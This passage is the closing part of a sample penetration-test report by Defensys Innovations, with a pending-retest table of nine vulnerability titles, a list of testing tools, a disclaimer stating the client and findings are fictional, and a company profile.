- Introduce threat modelling at design stage for new commercial flows, which is where business-logic defects are cheapest to prevent.
- Consider a responsible disclosure programme once the findings in this report are remediated.

Defensys Innovations is available to support remediation validation, retesting and any follow-up questions regarding the findings in this report at no additional cost.

7. Retest & Closure

A full retest of every finding in this report is included in the engagement at no additional cost. On completion, this section is populated and the report reissued at version 2.0, so that the client holds a single document evidencing both the original findings and their closure, suitable for submission to an auditor or a customer's security review.

The retest verifies that each finding is genuinely resolved rather than merely no longer reproducible by the original path, and confirms that the remediation has not introduced new issues.

ID	Finding	Severity	Retest Result	Notes
01	Authentication Bypass via SQL Injection in Login Form	Critical	*Pending retest*	
02	Stored Cross-Site Scripting in Product Review Field	High	*Pending retest*	
03	Broken Access Control: Insecure Direct Object Reference on Order Details	High	*Pending retest*	
04	Price Manipulation in Checkout Flow (Business Logic)	High	*Pending retest*	
05	Weak TLS Configuration: Deprecated Protocol and Cipher Support	Medium	*Pending retest*	
06	Missing Rate Limiting on Authentication and Password Reset Endpoints	Medium	*Pending retest*	
07	Discount Code Reuse Beyond Intended Redemption Limit (Business Logic)	Medium	*Pending retest*	
08	Verbose Error Messages Disclosing Stack Traces	Low	*Pending retest*	
09	Missing HTTP Security Response Headers	Informational	*Pending retest*	

Retest window	To be agreed following remediation
Retested by	Pending
Closure statement	Pending, issued as an attestation letter on completion

Attestation letters are provided on request for auditors, prospective customers and compliance programmes, confirming the scope, dates and outcome of testing without disclosing vulnerability detail.

Appendix A: Tools Used

The following tools supported the assessment. All findings reported were manually validated; no finding in this report is the unverified output of an automated tool.

Tool	Purpose
Burp Suite Professional	Web and API traffic interception, manual request manipulation, session handling
OWASP ZAP	Supplementary automated crawling and vulnerability scanning
sqlmap	Validation and confirmation of injection findings
Nmap	Network and service enumeration
testssl.sh	TLS and cipher suite configuration review
Nikto	Web server misconfiguration scanning
ffuf	Content and parameter discovery
Custom scripts	Business-logic testing, order identifier enumeration, discount replay

Appendix B: Disclaimer & Limitations of Testing

This assessment represents a point-in-time evaluation of the security posture of the systems in scope, conducted between the dates stated in this report. It should not be construed as a guarantee that no other vulnerabilities exist, nor that the tested systems remain free from risk following any subsequent change to code, configuration or infrastructure.

Testing was performed within an agreed scope and time window and, by necessity, did not include exhaustive testing of every possible input, condition or code path. Denial-of-service testing, physical security testing and social engineering were explicitly excluded from this engagement. Findings relating to third-party components and services are reported where observed but their remediation may rest with the relevant vendor.

Defensys Innovations (OPC) Pvt Ltd conducted this assessment in good faith using industry-standard methodologies and exercised due care to avoid disruption to the systems under test. Zenith Retail Technologies Pvt. Ltd. remains solely responsible for prioritising, implementing and validating remediation of the findings described in this report.

All testing was carried out under written authorisation from the client, within the scope and constraints recorded in the signed Rules of Engagement for this engagement.

Sample document. This report is a demonstration of the Defensys Innovations reporting standard. The client organisation, hostnames, IP ranges, personnel and findings described within it are fictional. Hostnames use reserved example domains and the IP range shown is drawn from RFC 5737, reserved for documentation. No production system was tested in its preparation.

Appendix C: About Defensys Innovations

Defensys Innovations (OPC) Pvt Ltd is an offensive security firm providing penetration testing and application security services to product companies, fintechs and regulated organisations. We test by hand, report in language engineers can act on, and stay available through remediation.

How We Work

- **Manual testing.** Automated tooling supports coverage; it does not produce our findings. Every issue we report is validated by an engineer.
- **A named engineer.** You meet the person testing your systems before the engagement starts, and you can reach them directly throughout.
- **Peer review.** Every report is technically reviewed by a second senior engineer before issue.
- **Retest included.** A full retest of all findings is part of every engagement, at no additional cost.
- **A permanent team.** The same engineers, not rotating subcontractors.

Services

Service	Coverage
Application Security Assessment	Web, mobile, API and thick-client testing
Network Security Assessment	External and internal penetration testing
Secure Source-Code Analysis	Manual and tool-assisted code review
Threat Modelling & Design Review	Architecture-level security analysis
Cloud Security Assessment	AWS, Azure and GCP configuration and identity review
Data Security & Compliance	PCI DSS and ISO 27001 aligned assessments

Team Certifications

- OSWE, Offensive Security Web Expert
- OSCP, Offensive Security Certified Professional
- CREST CPSA & CREST CRT
- eWPTXv2, eLearnSecurity Web Application Penetration Tester eXtreme
- CRTP, Certified Red Team Professional
- CEH Practical and CHFI, EC-Council

Email	vaibhav@defensysinfosec.in
Telephone	+91 731 4209 590
Web	defensysinfosec.in
Registered office	601, C1 Block, Shubh Labh Residency, Indore, Madhya Pradesh 452018, India
CIN	U62020MP2026OPC081592